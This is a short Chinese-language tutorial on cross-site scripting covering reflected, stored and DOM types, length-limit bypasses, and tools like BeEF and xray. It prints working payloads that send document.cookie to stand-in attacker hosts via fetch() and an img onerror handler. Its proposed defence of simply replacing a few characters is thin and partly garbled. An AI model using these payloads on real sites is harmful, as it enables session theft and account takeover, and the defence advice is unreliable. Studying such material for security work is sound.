1.xss的分类
反射型,存储型,dom型
反射型(url)
http://www.xxx.com/music?name='bob'
攻击者拼接一个恶意的script请求
http://www.xxx.com/music?name='bob'<script>alert(1)</script>
甚至可以这样
http://www.xxx.com/music?name='bob'<script>fetch(`http://恶意者的网站.com/>cookie=${document.cookie}`)</script>
1.防御其实很简单,只要过滤一下请求就可以,例如把<> ? /替换就可以了replace(/"/g, '"')
。
2.就是对用户传参进行加密encode,然后服务端解密就可以了。
存储型(表单)
与反射型不同,存储型 XSS 攻击是指当用户的输入包含了恶意脚本,服务端未经过转义就存储到数据库,访问页面会触发恶意脚本执行,而导致的攻击。
假如在某网站上有一篇爆款文章:https://xxx.com/articles/1
攻击者在文章下面发表了一篇评论,内容中包含了 script 脚本:
文章写的真棒!<script>fetch(`http://attack.com/cookies?cookie=${document.cookie}`)</script>
如果服务端直接把评论字符串保存到数据库了,下次只要有用户访问该文章时,包含恶意脚本的评论内容被返回,把当前用户的 cookie 发送到攻击者的服务器!
可以看到,用户的 Cookie 马上被发送到了攻击者的服务器。其实这种获取 Cookie 的方式还算小打小闹了,只要能够利用 xss 注入 script,黑客真的是可以「为所欲为」,例如黑客通过操作 DOM 的方式,分分钟把你的网站变成赌博网站、色情网站…
DOM型(onerror)
DOM 型 XSS 与反射型或存储型 XSS 的区别在于,DOM 型在服务器返回的网页或脚本中是看不到恶意代码的,而是在更新 DOM 树的时候触发了恶意脚本的执行。
我们来看一则模拟案例,前端开发人员未经过滤就直接把用户输入插入到 HTML 中:
<input id="input" type="text" />
<button onclick="container.innerHTML = input.value">点击</button>
<p id="container"></p>
攻击者利用方式
<img src="x" onerror="fetch(`http://attack.com/cookies?cookie=${document.cookie}`)" />
根据img的特性,如果这个src连接不存在,就会执行这个onerror语句,此时受害者完全不知道。
开启HttpOnly下的利用
在开启httponly后不会再向第三方网站发生cookie,那么我们可以直接在本站执行
xss bypass
绕过xss的长度限制
1.攻击者可以利用事件(Event)来缩短所需的字节数:
" onclick=alert(1) //
实际输出
<input type="text" value="" onclick=alert(1) //"/>
2.但利用"事件标签"能够缩短的字节数是有限的, 最好的办法是把XSS Payload 写到别处, 再通过简短的代码加载这段XSS Payload。
最常用的一个"藏身处"就是 “location.hash”
" οnclick="eval(location.hash.substr(1))
"location.hash"本身并没有长度限制, 但是浏览器的地址栏是有长度限制的, 不过这个长度已经足够写很长的XSS Payload了, 要是地址栏长度也不够用, 还可以再使用加载远程JS的方法来写更多的代码。
3.某些环境下, 可以利用注释符绕过长度限制。
比如我们能够控制两个文本框, 第二个文本框允许写入更多的字符。此时利用HTML的注释符号, 把两个文本框之间的HTML代码全部注释掉, 从而"打通" 两个input标签。
原html:
<input id=1 type="text" value="$var1" />
<input id=2 type="text" value="$var2" />
在第一个input框中输入:
"> <!--
在第二个input框中输入:
--> <script>alert(1)</script>
最终的效果是:
<input id=1 type="text" value="">
<!-- /><input id=2 type="text" value="-->
<script>alert(1)</script>" />
第二行就相当于注释了。
总结
其实在平时的挖洞过程中,一般xss都是盲打,用些xss的字典进行盲打,配合burp更好。
还有一些检测xss的工具,还有就是beef-强大的xss利用工具,xray自动挖洞也不错哦。